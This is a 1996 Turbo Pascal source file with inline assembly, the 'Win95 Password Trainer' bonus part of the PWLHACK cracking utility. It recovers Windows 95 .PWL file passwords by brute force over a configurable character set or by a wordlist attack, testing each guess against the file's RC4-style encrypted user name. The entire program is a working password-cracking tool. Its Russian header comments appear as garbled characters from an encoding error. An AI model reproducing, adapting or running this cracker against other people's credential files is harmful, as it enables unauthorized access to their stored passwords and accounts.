www.pudn.com > pwl_h410.zip > PWL.PAS


(*Comment[1]/*)Program Comment{Ŀ 
 This is the Bonus Pack part of the PWLHACK v4.x cracking utility. It must  
 be distributed _FREELY_. You may use it for educational  purposes. If You  
 want to add some functionality into PWLHACK itself - You  can write to me  
 and ask me to do it. I written this product and I support it now!  If You  
 will use some part of this source, Please, refer on me. Don't remove this  
 header, just compile or use with it! ;-)                                   
                                                                            
  FidoNet: 2:461/133.69                                       Hard Wisdom   
   E-Mail: hw@p69.f133.n461.z2.fidonet.org                                  
   
   祪, ⠢塞  PWLHACK v4.x ⨫⮩   PWL 䠩-  
 . ,   ᠬ ணࠬ,  ࠭   ( -  
 ࠭祭  - ).       ᯮ짮  -  
 ⥫ 楫, ,    ᥭ.  ᫨ 室  
 - ७ 㭪樮쭮 ᠬ ⨫ -  ᥣ  -  
  .      業ࠫ (ࠧ  ᮧ ).   -  
 짮 殢 (  ⥩)  ᢮  ணࠬ - ⥫쭮 -  
  뫪.  㤠  ⠢,    ! ;-)   
                                                                            
  : 2:461/133.69                                      Hard Wisdom   
    -뫮: hw@p69.f133.n461.z2.fidonet.org                                 
[]*/)={(int* )&Comment}; 
 
(*-----------------------------------------------------------------*) 
(*           Program Windows_Password_Library_Tool;                *) 
(*-----------------------------------------------------------------*) 
(* (C) by Hard Wisdom                                              *) 
(*                               Start coding: 19-Dec-1996y v1.0a  *) 
(*                               Last changes: 20-Dec-1996y        *) 
(*-----------------------------------------------------------------*) 
(*$M 16384,0,0*) 
(*$I-,R-*) 
Uses Crt; 
 
(*-----------------------------------------------------------------*) 
(*                       U T I L I T Y                             *) 
(*-----------------------------------------------------------------*) 
Function UpStr(S:String):String; 
Var I:Byte; 
Begin 
 For I:=1 To Length(S) Do Begin 
  Case S[I] Of 
   'a'..'z':S[I]:=Chr(Ord(S[I])-$20); 
   ''..'':S[I]:=Chr(Ord(S[I])-$20); 
   ''..'':S[I]:=Chr(Ord(S[I])-$50); 
  End; 
 End; 
 UpStr:=S; 
End; 
 
(*-----------------------------------------------------------------*) 
Procedure Error(Er:Byte; S:String); 
Begin 
 WriteLn('Error (',Er,'): ',S,'!'); Halt(Er); 
End; 
 
(*-----------------------------------------------------------------*) 
Function Timer:LongInt; 
Begin 
 Inline($FA); Timer:=MemL[$40:$6C]; Inline($FB); 
End; 
 
(*-----------------------------------------------------------------*) 
(*                 P A S S W O R D   T O O L S                     *) 
(*-----------------------------------------------------------------*) 
Const MaxData=20; 
Var Password:String; InData,OutData:Array[1..MaxData] Of Byte; 
    PWL_Table:Array[0..255] Of Byte; PWL_Key:LongInt; DataLen:Word; 
 
(*-----------------------------------------------------------------*) 
Function TryPassword:Boolean;Assembler; 
Asm 
 Mov    Bx,Offset(Password) 
 Mov    Cl,[Bx] 
 Inc    Bx 
 Xor    Ax,Ax 
 Xor    Dx,Dx 
 Or     Cl,Cl                           (* Make hash from password *) 
 Jz     @@Stop_Hashing 
@@Again_Hashing: 
 Add    Al,[Bx]                         (* add symbol *) 
 Adc    Ah,0 
 Adc    Dx,0 
 Mov    Ch,7 
@@Again_Roll7: 
 Shl    Ax,1                            (* roll to left on 7 bits *) 
 Rcl    Dx,1 
 Adc    Al,0 
 Dec    Ch 
 Jnz    @@Again_Roll7 
 Inc    Bx 
 Dec    Cl 
 Jnz    @@Again_Hashing 
 Mov    Ch,7 
@@Again_Roll7_1: 
 Shl    Ax,1                            (* roll to left again *) 
 Rcl    Dx,1 
 Adc    Al,0 
 Dec    Ch 
 Jnz    @@Again_Roll7_1 
@@Stop_Hashing: 
 Mov    Word Ptr PWL_Key,Ax             (* store hash *) 
 Mov    Word Ptr PWL_Key+2,Dx 
 
 Cld 
 Mov    Di,Offset(PWL_Table)            (* Make encryption table *) 
 Xor    Al,Al 
@@Init_PWL_Table: 
 StosB                                  (* init table *) 
 Inc    Al 
 Jnz    @@Init_PWL_Table 
 Xor    Bx,Bx 
 Xor    Si,Si 
 Xor    Di,Di 
@@Again_PWL_Table: 
 Mov    Ah,[Si+Offset(PWL_Table)] 
 Add    Bl,Ah                           (* calculate table *) 
 Add    Bl,[Di+Offset(PWL_Key)] 
 Mov    Al,[Bx+Offset(PWL_Table)] 
 Mov    [Bx+Offset(PWL_Table)],Ah 
 Mov    [Si+Offset(PWL_Table)],Al 
 Inc    Si 
 Inc    Di 
 And    Di,3 
 Cmp    Si,$100 
 Jb     @@Again_PWL_Table 
 
 Xor    Si,Si                           (* Check encryption *) 
 Xor    Di,Di 
 Xor    Bx,Bx 
@@Again_Check: 
 Inc    Si 
 And    Si,$FF 
 Mov    Al,[Si+Offset(PWL_Table)] 
 Add    Bl,Al 
 Mov    Ah,[Bx+Offset(PWL_Table)] 
 Mov    [Si+Offset(PWL_Table)],Ah 
 Mov    [Bx+Offset(PWL_Table)],Al 
 Add    Al,Ah 
 Xor    Ah,Ah 
 Mov    Dx,Bx 
 Mov    Bx,Ax 
 Mov    Al,[Bx+Offset(PWL_Table)] 
 Mov    Bx,Dx 
 Mov    Ah,[Di+Offset(InData)] 
 Xor    Ah,Al 
 Cmp    Ah,[Di+Offset(OutData)] 
 Jne    @@Bad                           (* fail on this password *) 
 Inc    Di 
 Cmp    Di,DataLen 
 Jb     @@Again_Check 
 Mov    Al,True                         (* Ok, success *) 
 Jmp    @@Done 
@@Bad: 
 Mov    Al,False 
@@Done: 
End; 
 
(*-----------------------------------------------------------------*) 
(*                       E X C E P T I O N                         *) 
(*-----------------------------------------------------------------*) 
Var CallStatistics:Boolean; Count,Count0,StartTime:LongInt; 
    OldExit:Pointer; 
Procedure ProgramExit;Far; 
Var L,StopTime:LongInt; 
Begin 
 ExitProc:=OldExit; StopTime:=Timer; 
 If (ErrorAddr=Nil) And CallStatistics Then Begin 
  WriteLn(#13'Total passwords trained: ',Count0, 
             '   Legal passwords: ',Count); 
  L:=StopTime-StartTime; If L=0 Then L:=1; 
  L:=Count0 Div L; 
  If L>110 Then L:=(L Div 55)*1000 Else L:=(L*1000) Div 55; 
  WriteLn('Speed= ',L,' passwords per second.'); 
 End; 
End; 
 
(*-----------------------------------------------------------------*) 
(*                      M A I N   E N T R Y                        *) 
(*-----------------------------------------------------------------*) 
Const MaxPasswLen=64; 
Var PasswChars:String; PasswI:Array[0..255] Of Byte; 
 
Var S:String; F:File; T:Text; 
    Buf:Array[0..16383] Of Byte; L,I:Byte; 
Begin 
 OldExit:=ExitProc; ExitProc:=@ProgramExit; CallStatistics:=False; 
 WriteLn('(C) 19-Dec-1996y by Hard Wisdom "Win95 Password Trainer" v1.0a'); 
 WriteLn('[PWLHACK v4.x Bonus Release]    ~~~~~~~~~~~~~~~~~~~~~~~~      '); 
 If ParamCount=0 Then Begin 
  WriteLn('Usage:'); 
  WriteLn(' PWL.EXE User_Name PWL_File_Name - try passwords;'); 
  WriteLn(' PWL.EXE User_Name PWL_File_Name Vocabulary_File_Name'); 
  WriteLn('  - try passwords from vocabulary file.'); 
  Exit; 
 End; 
 If (ParamCount<2) Or (ParamCount>3) Then Error(1,'Bad parameters'); 
 
 Assign(T,'PWL.INI'); Reset(T); 
 If IOResult<>0 Then Begin 
  Rewrite(T); WriteLn(T,'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 
  '012345678',''); 
  If IOResult<>0 Then Error(1,'Can''t create default INI file'); 
  Close(T); Error(1,'Created default INI file, inspect and run again'); 
 End Else Begin 
  ReadLn(T,PasswChars); 
  If IOResult<>0 Then Error(1,'Error reading INI file'); 
  Close(T); PasswChars:=UpStr(PasswChars); 
 End; 
 If Length(PasswChars)<1 Then Error(1,'Too small chars list'); 
 
 S:=UpStr(ParamStr(1));                         (* give user name *) 
 If Length(S)>MaxData Then S:=Copy(S,1,MaxData); 
 DataLen:=Length(S); Move(S[1],InData,DataLen); 
 
 S:=UpStr(ParamStr(2));                         (* load PWL data *) 
 Assign(F,S); Reset(F,1); 
 If IOResult<>0 Then Error(1,'Opening PWL file failure'); 
 Seek(F,$208); BlockRead(F,OutData,MaxData); 
 If IOResult<>0 Then Error(1,'Reading PWL file failure'); 
 Close(F); 
 
 CallStatistics:=True; Count0:=0; Count:=0; StartTime:=Timer; 
 If ParamCount=2 Then Begin 
  WriteLn('Chars= "',PasswChars,'"'); 
  Password:=''; If TryPassword Then Begin 
   WriteLn('No password in this file, just press Enter for login.'); 
   CallStatistics:=False; Exit; 
  End; 
  L:=1; While L<=MaxPasswLen Do Begin 
   Password[L]:=PasswChars[1]; PasswI[L]:=1; 
   Password[0]:=Char(L); 
   Repeat 
    Write(#13,Password); If TryPassword Then Begin 
     WriteLn(' -Ok.'); Inc(Count); 
    End; Inc(Count0); 
    I:=1; While (I<=L) And (PasswI[I]>=Length(PasswChars)) Do Begin 
     PasswI[I]:=1; Password[I]:=PasswChars[1]; Inc(I); 
    End; 
    If I<=L Then Begin 
     Inc(PasswI[I]); Password[I]:=PasswChars[PasswI[I]]; 
    End; 
   Until I>L; 
   Inc(L); 
  End; 
 
 End Else Begin                             (* try vocabulary file *) 
  S:=ParamStr(3); Assign(T,S); 
  SetTextBuf(T,Buf); Reset(T); 
  If IOResult<>0 Then Error(1,'Opening vocabulary failure'); 
  While Not(Eof(T)) Do Begin ReadLn(T,S); 
   If IOResult<>0 Then Error(1,'Reading vocabulary failure'); 
   Password:=UpStr(S); Write(#13,Password); Inc(Count0); 
   If TryPassword Then Begin WriteLn(' -Ok.'); Inc(Count); End; 
  End; Close(T); 
 End; 
End.